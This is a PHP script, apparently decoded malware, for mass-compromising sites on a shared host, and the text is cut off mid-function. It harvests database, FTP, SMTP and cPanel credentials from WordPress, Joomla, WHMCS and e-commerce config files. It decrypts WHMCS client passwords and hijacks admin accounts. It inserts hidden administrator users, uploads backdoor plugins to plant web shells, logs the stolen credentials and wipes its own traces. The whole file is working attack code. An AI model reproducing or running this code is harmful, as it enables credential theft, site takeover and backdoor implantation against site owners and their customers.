PHP Decode

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
error_reporting(0);

//application ->off change with defines

$servpath = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$explode = explode('/',$servpath );
$server_na = $_SERVER['SERVER_NAME'];
$url = str_replace($explode[count($explode)-1],'',$servpath )."/inc";
$url2 = str_replace($explode[count($explode)-1],'',$servpath )."/fix";
$backdoorfilename = 'helo.zip';
$joomladoor = str_replace($explode[count($explode)-1],'',$servpath )."mod_hello_hell.zip";
$joomladoor2 = str_replace($explode[count($explode)-1],'',$servpath )."mod_hello_hell2.zip";
$mylogfile = 'dafuq.log';
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {
if(isset($_REQUEST['x'])){
	update();
}
if(!file_exists($backdoorfilename)) {
	die('No WP backdoor file!');
}
if(!file_exists('mod_hello_hell.zip')||!file_exists('mod_hello_hell2.zip')) {
	die('No Joomla backdoor file!');
}

$html= file_get_contents($url2);
$dom = new DOMDocument();
@$dom->loadHTML($html);
$xPath = new DOMXPath($dom);
$elements = $xPath->query("//a/@href");
$tot = $elements->length-1;
echo '<br />'.php_uname().'<br />Total users directory: '.$tot.' <br /><br />';
WriteLog(php_uname()."

");
foreach ($elements as $e) {
	if ($e->nodeValue != "/"){
		$link = $e->nodeValue;
		$url = explode("%7c", $link);
		$user = $url[0];
		$conf = $url[1];
		$mine ="/".basename(__FILE__);
		$explode = explode($mine,$servpath );	
		$cek = $explode[0].'/fix/'.$user."|".$conf;
		$http_code = get_headers($cek);

		if(stristr($http_code[0], '200 OK')){
			echo '<br />[<font color="red">'.$user.'</font>]<br />';
			$config = basic_curl($cek, 0, NULL);
			if($password = getPass($cek)){
				$konten = file_get_contents($cek);
				if((stristr($conf, 'configuration.php'))&&(stristr($konten, "class JConfig") !== FALSE)){
					if(file_exists('cookie.txt')) @unlink('cookie.txt');
					$res = basic_curl($cek);
					$ftp_pass = getMiddleString($res, "ftp_pass = '", "';");
					$smtp_pass = getMiddleString($res, "smtppass = '", "';");
					$db_pass = str_replace("'", '', getMiddleString($res, '$password = ', ';'));					
					if(checkFTP($user, $ftp_pass) === TRUE){
						foreach (cekDomain($user) as $domain){
							//$http_codex = get_headers($domain);
							//if(stristr($http_codex[0], '200 OK')){
								echo '[<font color="red">WP</font>] <font color="blue">http://'.$domain.':2082|'.$user.'|'.$password.'</font><br />';
								WriteLog('[WP] ['.$user.'] http://'.$domain.':2082|'.$user.'|'.$password."
");
							//}
						}
					}else if(checkFTP($user, $smtp_pass) === TRUE){
						foreach (cekDomain($user) as $domain){
							//$http_codex = get_headers($domain);
							//if(stristr($http_codex[0], '200 OK')){
								echo '[<font color="red">WP</font>] <font color="blue">http://'.$domain.':2082|'.$user.'|'.$password.'</font><br />';
								WriteLog('[WP] ['.$user.'] http://'.$domain.':2082|'.$user.'|'.$password."
");
							//}
						}
					}else if(checkFTP($user, $db_pass) === TRUE){
						foreach (cekDomain($user) as $domain){
							//$http_codex = get_headers($domain);
							//if(stristr($http_codex[0], '200 OK')){
								echo '[<font color="red">WP</font>] <font color="blue">http://'.$domain.':2082|'.$user.'|'.$password.'</font><br />';
								WriteLog('[WP] ['.$user.'] http://'.$domain.':2082|'.$user.'|'.$password."
");
							//}
						}
					}						
				}else{
					//echo $user." : ".$password."<br />";
					if(checkFTP($user, $password) === TRUE){
						foreach (cekDomain($user) as $domain){
							echo '[<font color="red">WP</font>] <font color="blue">http://'.$domain.':2082|'.$user.'|'.$password.'</font><br />';
							WriteLog('[WP] ['.$user.'] http://'.$domain.':2082|'.$user.'|'.$password."
");
						}
					}
				}
				unset($konten);
			}else{
				echo 'Fail to get password!<br />';
			}
			if((stristr($conf, 'wp-config.php')) && (stristr($config, 'wp-settings.php'))){
				echo '-> <font color="green">WordPress Configuration file!!</font><br />';
				FuckWP($cek, $user);
			}elseif(stristr($conf, 'configuration.php')){
				$konten = file_get_contents($cek);
				if(stristr($konten, "cc_encryption_hash") !== FALSE) {
					echo '-> <font color="green">WHMCS Configuration file!!</font><br />';
					FuckWHMCS($cek);
				}elseif(stristr($konten, "class JConfig") !== FALSE) {
					echo '-> <font color="green">Joomla Configuration file!!</font><br />';
					$ceks =$explode[0]."/inc/home/".$user."/public_html/".$conf;
					FuckJoomla($cek, $ceks, $user);
				}elseif(stristr($konten, "mosConfig") !== FALSE) {
					echo '-> <font color="green">Mambo Configuration file!!</font><br />';
					FuckMambo($cek);
				}else{
					echo '-> <font color="red">No pattern match known CMS</font><br />';
				}
				unset($konten);
			}elseif(stristr($conf, 'config.php')){
				$konten = file_get_contents($cek);
				if(stristr($konten, "PHPBB_INSTALLED") !== FALSE) {
					echo '-> <font color="green">phpBB Configuration file!!</font><br />';
				}elseif(stristr($konten, "vBulletin") !== FALSE && stristr($konten, "config['MasterServer']['username']")) {
					echo '-> <font color="green">vBulletin Configuration file!!</font><br />';
					FuckvBulletin($cek);
				}elseif(stristr($konten, "CMS Made Simple") !== FALSE) {
					echo '-> <font color="green">CMS Made Simple Configuration file!!</font><br />';
					FuckCMSMS($cek);
				}else{
					echo '-> <font color="red">No pattern match known CMS</font><br />';
				}
				unset($konten);
			}elseif(stristr($conf, 'configure.php')){
				$konten = file_get_contents($cek);
				if(stristr($konten, "zen-cart.com") !== FALSE) {
					echo '-> <font color="green">Zen Cart Configuration file!!</font><br />';
					FuckZenCart($cek);
				}elseif(stristr($konten, "oscommerce.com") !== FALSE) {
					echo '-> <font color="green">osCommerce Configuration file!!</font><br />';
					FuckOsCommerce($cek);
				}else{
					echo '-> <font color="red">No pattern match known CMS</font><br />';
				}
				unset($konten);
			}else{
				echo '-> <font color="red">No pattern match known CMS</font><br />';
			}
			flush();

		}else{
			sleep(3);
			continue;
		}
		flush();	
	}
}
echo '<br /><br /><font color="blue">---- F . I . N . I . S . H ----</font>';
WriteLog("FINISH...");
}else{
update();
}
class cURL {
	private $socks 	= '';
	private $c = '';
	private $agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6';
	public function __construct($cookie = 'cookie.txt', $socks = ''){
		if (trim($socks) != '') {
			$this->socks = $socks;
		}
		$this->c = $cookie;
	}
	private function doRequest($method, $url, $vars) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_TIMEOUT, 20);
		curl_setopt($ch, CURLOPT_COOKIEFILE, $this->c);
		curl_setopt($ch, CURLOPT_COOKIEJAR, $this->c);
		if (trim($this->socks) != '') {
			curl_setopt($ch, CURLOPT_PROXY, $this->socks);
			curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
		}
		if ($method == 'POST') {
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
		}
		$data = curl_exec($ch);
		$curlInfo = curl_getinfo($ch);
		curl_close($ch);
		if ($data) {
			return str_replace('&nbsp;', '', $data);
		} else {
			return false;
		}
	}	
	public function get($url, $ref = '') {
		return $this->doRequest('GET', $url, 'NULL');
	}
	
	public function post($url, $vars, $ref = '') {
		return $this->doRequest('POST', $url, $vars);
	}
}
function mid_str($start,$end,$string) {
	$exp = explode($start,$string);
	$data = explode($end,$exp[1]);
	return $data[0];
}
function cleanString($str) {
	return str_replace(array("
", "	", "
"), "", $str);
}
function clean($str) {
	$str = trim($str);
	if(get_magic_quotes_gpc()) {
		$str = stripslashes($str);
	}
	return mysql_real_escape_string($str);
}
function WriteLog($string)
{
	global $mylogfile;
	$fh = fopen($mylogfile, 'a+');
	fwrite($fh, $string);
	fclose($fh);
}
function getMiddleString($source_string, $string_start, $string_end) {
	if(strpos($source_string, $string_start) === FALSE) return FALSE;
	if(strpos($source_string, $string_end) === FALSE) return FALSE;
	$start = strpos($source_string, $string_start) + strlen($string_start);
	$end = strpos($source_string, $string_end, $start);
	$return = substr($source_string, $start, $end - $start);
	return $return;
}
function FuckWP($configfile, $servuser)
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = basic_curl($configfile);
	$pass_admin = '$P$BhP0q4Dz3eKhbbJArDZSFkilj157zj.';
	$pass_add = '$P$BsRCsD3Al/6/CMcl7Tnv1uKlUMRvKE0';
	$db_user = getMiddleString($res, "define('DB_USER', '", "');");
	$db_name = getMiddleString($res, "define('DB_NAME', '", "');");
	$db_pass = getMiddleString($res, "define('DB_PASSWORD', '", "');");
	$db_host = getMiddleString($res, "define('DB_HOST', '", "');");
	$table_prefix = getMiddleString($res, "table_prefix  = '", "';");
	$wp_user = '';
	$wp_pass = '';
	if($db_host !== FALSE && $db_user !== FALSE && $db_pass !== FALSE && $db_name !== FALSE) {
		echo $db_user." : ";
		echo $db_pass." > ";
		echo $db_name." @ ";
		echo $db_host." -> ";
		$link = @mysql_connect($db_host, $db_user, $db_pass);
		if(!$link) {
			echo '[<font color="red">!</font>] Can\'t connect to database!<br />';
		} else {
			$db = @mysql_select_db($db_name, $link);
			if(!$db) {
				echo '[<font color="red">!</font>] Can\'t select database!<br />';
			} else {
				$qs = @mysql_query("SELECT * FROM `".$table_prefix."options` WHERE `option_name`='siteurl'");
				while($rows = mysql_fetch_assoc($qs)) {
					$site = $rows['option_value'];
				}
				$http_codez = get_headers($site);
				if(stristr($http_codez[0], '200 OK')){
					$qz = @mysql_query("SELECT * FROM `".$table_prefix."users` WHERE `ID`='1'");
					while($rows = @mysql_fetch_assoc($qz)) {
						$wp_user = $rows['user_login'];
						$wp_pass = $rows['user_pass'];
					}
					if(trim($wp_user) != '' && trim($wp_pass) != '') {
						@mysql_query("UPDATE `".$table_prefix."users` SET `user_pass`='".clean($pass_admin)."' WHERE `ID`='1' AND `user_login`='$wp_user'");
						@mysql_query("INSERT INTO `".$table_prefix."users` (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES ('-', '".clean($pass_add)."', '-', 'info@".clean($server_na)."',  '2011-06-07 00:00:00', '0', '-')");
						@mysql_query("INSERT INTO `".$table_prefix."usermeta` (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')");
						@mysql_query("INSERT INTO `".$table_prefix."usermeta` (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, LAST_INSERT_ID(), 'wp_user_level', '10')");
						FuckingUpload($servuser, $wp_user, "admin", $site."/wp-admin/");
						@mysql_query("UPDATE `".$table_prefix."users` SET `user_pass`='".clean($wp_pass)."' WHERE `ID`='1' AND `user_login`='$wp_user'");
					}
				}else{
					echo '<br />[<font color="red">!</font>] '. $site .' Modyaar..!<br />';
				}
			}
			@mysql_close($link);
		}
	}
}
function FuckingUpload($servuser, $user, $pass, $adminurl){
	global $backdoorfilename;
	// echo 'Trying to upload now...<br />';
	// echo $servuser.' - '.$user.' - '.$pass.' - '.$adminurl.'<br />';
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$redr = $adminurl.'plugin-install.php?tab=upload';
	$postdata = "log=$user&pwd=$pass&wp-submit=Log%20In&redirect_to=$redr";
	$logs = str_replace('wp-admin/', 'wp-login.php', $adminurl);
	$a = new cURL();
	$b = $a->post($logs, $postdata, $logs);
	if(!stristr($b, 'update.php?action=upload-plugin')) {
		echo '[<font color="red">!</font>] Login failed!<br />';
	} else {
		echo "Login sukses<br />";
		$update_url = 'update.php?action=upload-plugin';
		$nonce = mid_str('<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />', $b);
		$reurl = mid_str('<input type="hidden" name="_wp_http_referer" value="', '" />', $b);
		$submt = mid_str('<input type="submit" class="button" value="', '" />', $b);
		$data['_wpnonce'] = $nonce;
		$data['_wp_http_referer'] = $reurl;
		$data['pluginzip'] = '@'.realpath('./'.$backdoorfilename);
		$data['submit'] = $submt;
		$upload = $a->post($adminurl.$update_url, $data, $adminurl.'plugin-install.php?tab=upload');
		if($backdoorfilename == 'helo.zip') {
			$helodir = array('helo', 'helo1', 'helo2', 'helo3');
			$found = FALSE;
			$i = 0;
			$z = count($helodir);
			while(!$found && $i < $z)
			{
				$url = str_replace('wp-admin/', 'wp-content/plugins/'.$helodir[$i].'/helo.php', $adminurl);
				$cek = $a->get($url);
				if(stristr($cek, 'Sukses')) 
				{
					echo '[<font color="blue">SH</font>] ';
					$shurl = str_replace('wp-content/plugins/'.$helodir[$i].'/helo.php', 'wp-apps.php', $url);
					echo '<font color="blue"><a href="'.$shurl.'" target="_blank">'.$shurl.'</a><br /></font>';
					WriteLog('[SH] [W] ['.$servuser.'] '.$shurl."
");
					$found = TRUE;
				} else {
					echo '[<font color="red">!</font>] '.$url.'<br />';
					++$i;
				}
			}
		} elseif($backdoorfilename == 'cpar.zip')
		{
			$activation = getMiddleString($upload, 'plugins.php?action=activate', '" title="');
			$activation = 'plugins.php?action=activate'.str_replace('amp;', '', $activation);
			$activate = $a->get($adminurl.$activation);
			// echo '<textarea rows="50" cols="80">'.htmlentities($activate).'</textarea>';
			if(stristr($activate, 'plugins.php?action=deactivate&amp;plugin=cpar') || stristr($activate, 'plugins.php?action=deactivate&plugin=cpar')) 
			{
				echo '<br />[<font color="blue">@</font>] '.str_replace('wp-admin/', '', $adminurl).' - <font color="blue">Plugin activated!</font>';
			} else {
				echo '<br />[<font color="red">!</font>] '.str_replace('wp-admin/', '', $adminurl).' - <font color="red">Plugin activation failed!</font>';
			}
		}
	}
}
function update(){
	$files = array(__FILE__, $mylogfile, 'error_log', 'cookie.txt', $backdoorfilename, 'mod_hello_hell.zip', 'mod_hello_hell2.zip','update.tar');
	echo '<pre>';
	foreach($files as $file)
	{
		if(file_exists($file))
		{
			if(is_dir($file)) 
			{
				ex("rm $file -rf");
			} else {
				@unlink($file);
			}
			echo '[!] '.$file.' - <font color="red">Removed</font><br />';
		} else {
			echo '[!] '.$file.' - <font color="red">Already removed</font><br />';
		}
	}
	echo '</pre>';
	exit;
}
function FuckJoomla($cukfile, $configfile, $servuser){	
	global $joomladoor, $nameds, $joomladoor2;
	$pass_admin = '9c3d59a418d4a9b460231a744a307cf9:Tx637Gdb2aCBHrzvFveuG9DX0QRg0hpe';
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = basic_curl($cukfile);	
	$smtp_scur = getMiddleString($res, "smtpsecure = '", "';");
	$smtp_port = getMiddleString($res, "smtpport = '", "';");
	$smtp_user = getMiddleString($res, "smtpuser = '", "';");
	$smtp_pass = getMiddleString($res, "smtppass = '", "';");
	$smtp_host = getMiddleString($res, "smtphost = '", "';");
	if($smtp_host !== FALSE && $smtp_user !== FALSE && $smtp_pass !== FALSE && trim($smtp_host) != '' && trim($smtp_user) != '' && trim($smtp_pass) != ''){
		echo '[<font color="blue">SMTP</font>] '.$smtp_host.(($smtp_port) ? ':'.$smtp_port : '').' '.$smtp_user.'|'.$smtp_pass.(($smtp_scur) ? ' -> '.$smtp_scur : '')."<br />";
		WriteLog('[SMTP] '.$smtp_host.(($smtp_port) ? ':'.$smtp_port : '').' '.$smtp_user.'|'.$smtp_pass.(($smtp_scur) ? ' -> '.$smtp_scur : '')."
");
	}
	$db_host = str_replace("'", '', getMiddleString($res, '$host = ', ';'));
	$db_user = str_replace("'", '', getMiddleString($res, '$user = ', ';'));
	$db_name = str_replace("'", '', getMiddleString($res, '$db = ', ';'));
	$db_pass = str_replace("'", '', getMiddleString($res, '$password = ', ';'));
	$db_pref = str_replace("'", '', getMiddleString($res, '$dbprefix = ', ';'));
	$live_site = str_replace("'", '', getMiddleString($res, '$live_site = ', ';'));
		
	if($db_host !== FALSE && $db_user !== FALSE && $db_pass !== FALSE && $db_name !== FALSE && trim($db_host) != '' && trim($db_user) != '' && trim($db_pass) != '' && trim($db_name) != '') {
		echo $db_user." : ";
		echo $db_pass." > ";
		echo $db_name." @ ";
		echo $db_host." -> ";
		$link = @mysql_connect($db_host, $db_user, $db_pass);
		if(!$link) {
			echo '[<font color="red">!</font>] Can\'t connect to database!<br />';
		}else{
			$db = @mysql_select_db($db_name, $link);
			if(!$db) {
				echo '[<font color="red">!</font>] Can\'t select database!<br />';
			}else{
				$ngerti = FALSE;
				$tipe_user = @mysql_query("SELECT * FROM `".$db_pref."users` WHERE `usertype` = 'Super Administrator' LIMIT 0,1");
				$tipe_user2 = @mysql_query("SELECT * FROM `".$db_pref."users` WHERE `usertype` = 'deprecated' LIMIT 0,1");
				$queryx = @mysql_query("SELECT * FROM `".$db_pref."core_acl_aro`");
				
				if(!$queryx){
					$versi_joomla = "new";
					@mysql_query("INSERT INTO `".$db_pref."users` (username, password) VALUES ('-', '71a4d4cd2f30b185d707718273b17d05')");
					@mysql_query("INSERT INTO `".$db_pref."user_usergroup_map` VALUES (LAST_INSERT_ID(),'8')");
    			}else{
    				$versi_joomla = "old";
        			@mysql_query("INSERT INTO `".$db_pref."users` (name,username,password,usertype,gid) VALUES ('-','-','71a4d4cd2f30b185d707718273b17d05','Super Administrator','25')");
					@mysql_query("INSERT INTO `".$db_pref."core_acl_aro` (section_value,value,name) VALUES ('users',LAST_INSERT_ID(),'-')");
					@mysql_query("INSERT INTO `".$db_pref."core_acl_groups_aro_map` (group_id,aro_id) VALUES ('25',LAST_INSERT_ID())");	
				}
				
				if(mysql_num_rows($tipe_user) > 0){
					$user_type = 'Super Administrator';
					$ngerti = TRUE;
				} 
				if($ngerti === FALSE && mysql_num_rows($tipe_user2) > 0){
					$tipe_user = @mysql_query("SELECT * FROM `".$db_pref."users` WHERE `usertype` = 'deprecated' LIMIT 0,1");
					$user_type = 'deprecated';
					$ngerti = TRUE;
				}
				if($ngerti === TRUE){
					$getjoomlauser = @mysql_query("SELECT * FROM `".$db_pref."users` WHERE `usertype` = '$user_type' LIMIT 0,1");
					while($rows = mysql_fetch_assoc($getjoomlauser)){
						$jom_user = $rows['username'];
						$jom_pass = $rows['password'];
					}
					@mysql_query("UPDATE `".$db_pref."users` SET `password`='".clean($pass_admin)."' WHERE `usertype` = '$user_type' AND `username`='$jom_user'");
					if(trim($jom_user) != '' && trim($jom_pass) != ''){
						foreach (cekDomain($servuser) as $cux){
							$admin_url = "http://".$cux."/administrator/index.php";
							$a = new cURL();
							$b = $a->get($admin_url);
							//$versi_joomla = CekVersiJoomla($b);
							if($versi_joomla !== FALSE){
								$postdata['username'] = $jom_user;
								$postdata['passwd'] = 'admin';
								$postdata['lang'] = '';
								$postdata['option'] = 'com_login';
								$postdata['task'] = 'login';
								preg_match('#<input type="hidden" name="([a-zA-Z0-9]{32})" value="1" />#', $b, $m);
								$postdata[$m[1]] = '1';
								if($versi_joomla == 'new') {
									$postdata['return'] = getMiddleString($b, '<input type="hidden" name="return" value="', '" />');
									$postdata['submit'] = urlencode('Log in');
								}else{
									$postdata['submit'] = 'Login';
								}
								$res = $a->post($admin_url, $postdata);
								if(stristr($res, 'task=logout')){
									echo "Login sukses <br />";
									unset($postdata[$m[1]]);
									$res = $a->get($admin_url.'?option=com_installer');
									// Install Module
									if($versi_joomla == 'old'){
										$postdata['install_url'] = $joomladoor2;
									}else{
										$postdata['install_url'] = $joomladoor;
									}
									$postdata['type'] = '';
									$postdata['installtype'] = 'url';
									$postdata['option'] = 'com_installer';
									if($versi_joomla == 'new'){
										$postdata['task'] = 'install.install';
										//echo $versi_joomla." proses install<br />";
									}else{
										$postdata['task'] = 'doInstall';
										//echo $versi_joomla." proses install<br />";
									}
									preg_match('#<input type="hidden" name="([a-zA-Z0-9]{32})" value="1" />#', $res, $m);
									$postdata[$m[1]] = '1';
									$res = $a->post($admin_url, $postdata);
									if(stristr($res, 'Provides a basic')){
										//echo "Install module sukses, write backdoor to root dir<br />";
										$myurl = str_replace('administrator/index.php', 'modules/mod_hello_hell/mod_hello_hell.php', $admin_url);
										$res = $a->get($myurl);
										//echo $myurl.'<br />';
										if(stristr($res, 'Sukses')){	
											$res = $a->get('http://'.$cux.'/defined.php');
											if(stristr($res, 'password')){
												echo '[<font color="blue">SH</font>]<font color="blue"> <a href="http://'.$cux.'/defined.php" target="_blank"> http://'.$cux.'/defined.php</a></font><br />';
												echo '[<font color="blue">Admin</font>]<font color="blue"> <a href="'.$admin_url.'" target="_blank"> '.$admin_url.'</a></font> -> username : - password : jancok<br />';
												WriteLog('[SH] [J] ['.$servuser.'] http://'.$cux."/defined.php
");
											}else{
												echo '[<font color="red">!</font>] Direct Access to modules is not allowed!<br />';
												echo '[<font color="blue">Admin</font>]<font color="blue"> <a href="'.$admin_url.'" target="_blank"> '.$admin_url.'</a></font> -> username : - password : jancok<br />';
											}
										}else{
											echo '[<font color="red">!</font>] Failed to plant backdoor!<br />';
											echo '[<font color="blue">Admin</font>]<font color="blue"> <a href="'.$admin_url.'" target="_blank"> '.$admin_url.'</a></font> -> username : - password : jancok<br />';
										}
									}else{
										echo '[<font color="red">!</font>] Failed to install module!<br />';
										
										echo '[<font color="blue">Admin</font>]<font color="blue"> <a href="'.$admin_url.'" target="_blank"> '.$admin_url.'</a></font> -> username : - password : jancok<br />';
									}
									return false;
								}else{
									echo '[<font color="red">!</font>] Login failed!<br />';
								}
							}else{
								echo '[<font color="red">!</font>] Unable to get Joomla version!: '.$admin_url."<br />";
							}
						}
						@mysql_query("UPDATE `".$db_pref."users` SET `password`='".clean($jom_pass)."' WHERE `usertype` = '$user_type' AND `username`='$jom_user'");
					}
				} else {
					echo '[<font color="red">!</font>] Failed to get username and default password!<br />';
				}
			}
			@mysql_close($link);
		}
	} else {
		//echo 'Can\'t get database details!';
	}
}

function FuckWHMCS($configfile)
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = basic_curl($configfile);
	$db_host = str_replace("'", '', getMiddleString($res, '$db_host = ', ';'));
	$db_username = str_replace("'", '', getMiddleString($res, '$db_username = ', ';'));
	$db_password = str_replace("'", '', getMiddleString($res, '$db_password = ', ';'));
	$db_name = str_replace("'", '', getMiddleString($res, '$db_name = ', ';'));
	$cc_encryption_hash = str_replace("'", '', getMiddleString($res, '$cc_encryption_hash = ', ';'));
	$customadminpath = str_replace("'", '', getMiddleString($res, '$customadminpath = ', ';'));
	$link = @mysql_connect($db_host, $db_username, $db_password);
	echo $db_username." : ".$db_password." > ".$db_name." @ ".$db_host." > ".$cc_encryption_hash." > ".$customadminpath." -> ";
	if(!$link) {
		echo '[<font color="red">!</font>] Can\'t connect to database!<br />';
	} else {
		$db = @mysql_select_db($db_name, $link);
		if(!$db) {
			echo '[<font color="red">!</font>] Can\'t select database!<br />';
		} else {
			$hostingcount = @mysql_query("SELECT * FROM `tblhosting` WHERE `domainstatus`='Active'");
			echo '[<font color="blue">@</font>] Has <font color="blue">'.mysql_num_rows($hostingcount).'</font> record(s) in `tblhosting`<br />';
			while($row = mysql_fetch_array($hostingcount)){
				$piss=$row['password'];
				$pus = decrypt($piss,$cc_encryption_hash);
				if (($row['domain']!="")&&($row['username']!="")&&($pus!="")){
  					echo "http://".$row['domain'] . ":2082|" . $row['username']. "|" . $pus;
  					echo "<br />";
  				}
			}

		}
		@mysql_close($link);
	}
}
function FuckMambo($configfile)
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = basic_curl($configfile);
	$mosConfig_user = str_replace("'", '', getMiddleString($res, '$mosConfig_user = ', ';'));
	$mosConfig_password = str_replace("'", '', getMiddleString($res, '$mosConfig_password = ', ';'));
	$mosConfig_db = str_replace("'", '', getMiddleString($res, '$mosConfig_db = ', ';'));
	$mosConfig_host = str_replace("'", '', getMiddleString($res, '$mosConfig_host = ', ';'));
	echo $mosConfig_user." : ".$mosConfig_password." > ".$mosConfig_db." @ ".$mosConfig_host." -> ";
	echo "<br />";
}
function FuckCMSMS($configfile)
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = basic_curl($configfile);
	$mosConfig_user = str_replace("'", '', getMiddleString($res, '$config[\'db_username\'] = ', ';'));
	$mosConfig_password = str_replace("'", '', getMiddleString($res, '$config[\'db_password\'] = ', ';'));
	$mosConfig_db = str_replace("'", '', getMiddleString($res, '$config[\'db_name\'] = ', ';'));
	$mosConfig_host = str_replace("'", '', getMiddleString($res, '$config[\'db_hostname\'] = ', ';'));
	echo $mosConfig_user." : ".$mosConfig_password." > ".$mosConfig_db." @ ".$mosConfig_host." -> ";
	echo "<br />";
}
function FuckZenCart($configfile)
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = ex("cat $configfile");
	$site_ad = getMiddleString($res, "define('HTTP_SERVER', '", "');");
	$db_pref = getMiddleString($res, "define('DB_PREFIX', '", "');");
	$db_host = getMiddleString($res, "define('DB_SERVER', '", "');");
	$db_user = getMiddleString($res, "define('DB_SERVER_USERNAME', '", "');");
	$db_pass = getMiddleString($res, "define('DB_SERVER_PASSWORD', '", "');");
	$db_name = getMiddleString($res, "define('DB_DATABASE', '", "');");
	if($db_host !== FALSE && $db_user !== FALSE && $db_pass !== FALSE && $db_name !== FALSE) {
		$link = @mysql_connect($db_host, $db_user, $db_pass);
		echo $site_ad ." => ".$db_user." : ".$db_pass." > ".$db_name." @ ".$db_host." -> ";
		if(!$link) {
			echo '[<font color="red">!</font>] Can\'t connect to database!<br />';
		} else {
			$db = @mysql_select_db($db_name, $link);
			if(!$db) {
				echo '[<font color="red">!</font>] Can\'t select database!<br />';
			} else {
				$customers = @mysql_query("SELECT * FROM `".(($db_pref) ? $db_pref : '')."customers`");
				$orders = @mysql_query("SELECT * FROM `".(($db_pref) ? $db_pref : '')."orders`");
				echo '[<font color="blue">@</font>] <font color="blue">'.$site_ad.'</font> has <font color="blue">'.mysql_num_rows($customers).'</font> record(s) in `'.(($db_pref) ? $db_pref : '').'customers` table and <font color="blue">'.mysql_num_rows($orders).'</font> record(s) in `'.(($db_pref) ? $db_pref : '').'orders` table <br />';
			}
			@mysql_close($link);
		}
	}
}

function FuckOsCommerce($configfile) 
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = ex("cat $configfile");
	$site_ad = getMiddleString($res, "define('HTTP_SERVER', '", "');");
	$db_host = getMiddleString($res, "define('DB_SERVER', '", "');");
	$db_user = getMiddleString($res, "define('DB_SERVER_USERNAME', '", "');");
	$db_pass = getMiddleString($res, "define('DB_SERVER_PASSWORD', '", "');");
	$db_name = getMiddleString($res, "define('DB_DATABASE', '", "');");
	if($db_host !== FALSE && $db_user !== FALSE && $db_pass !== FALSE && $db_name !== FALSE) {
		$link = @mysql_connect($db_host, $db_user, $db_pass);
		echo $site_ad ." => ".$db_user." : ".$db_pass." > ".$db_name." @ ".$db_host." -> ";
		if(!$link) {
			echo '[<font color="red">!</font>] Can\'t connect to database!<br />';
		} else {
			echo '[<font color="blue">!</font>] Connected to database!<br />';
			@mysql_close($link);
		}
	}
}

function FuckvBulletin($configfile)
{


}
function FuckPUNBB($configfile) 
{
	if(file_exists('cookie.txt')) @unlink('cookie.txt');
	$res = basic_curl($configfile);
	$db_host = str_replace("'", '', getMiddleString($res, '$db_host = ', ';'));
	$db_username = str_replace("'", '', getMiddleString($res, '$db_username = ', ';'));
	$db_password = str_replace("'", '', getMiddleString($res, '$db_password = ', ';'));
	$db_name = str_replace("'", '', getMiddleString($res, '$db_name = ', ';'));
	$link = @mysql_connect($db_host, $db_username, $db_password);
	echo $db_username." : ".$db_password." > ".$db_name." @ ".$db_host." -> <br />";
}
function ex($in) {
	$out = '';
	if(function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	}elseif(function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	}elseif(function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	}elseif(function_exists('shell_exec')) {
		$out = shell_exec($in);
	}elseif(is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function basic_curl($url)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.16 Flock/2.5.6');
	$response = curl_exec($ch);
	if(trim($response) != '') {
		return $response;
	}
	return FALSE;
}
function getPass($configFile) 
{
	$config = basic_curl($configFile, 0, NULL);
	$config = explode("
", $config);
	$lines = count($config);
	for($x=0;$x<$lines;$x++) 
	{
